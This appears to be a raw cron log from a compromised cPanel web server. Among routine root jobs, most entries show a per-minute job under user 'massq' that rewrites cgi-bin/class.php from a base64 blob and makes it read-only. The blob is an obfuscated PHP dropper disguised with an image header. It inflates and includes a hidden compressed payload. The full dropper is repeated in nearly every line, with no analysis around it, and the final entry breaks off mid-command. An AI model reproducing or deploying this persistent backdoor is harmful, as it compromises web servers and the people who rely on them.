Nov 11 07:42:01 server CROND[10945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:42:01 server CROND[10946]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 07:43:01 server CROND[11813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:44:01 server CROND[12722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:45:01 server CROND[13661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:45:01 server CROND[13662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:45:01 server CROND[13663]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:46:01 server CROND[14535]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:47:01 server CROND[15357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:48:02 server CROND[16098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:49:01 server CROND[16904]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:50:01 server CROND[17846]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:50:01 server CROND[17850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:50:01 server CROND[17853]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:50:01 server CROND[17854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 07:50:01 server CROND[17851]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 07:51:01 server CROND[18714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:52:01 server CROND[19578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:53:01 server CROND[20337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:54:01 server CROND[21169]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:55:01 server CROND[22082]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 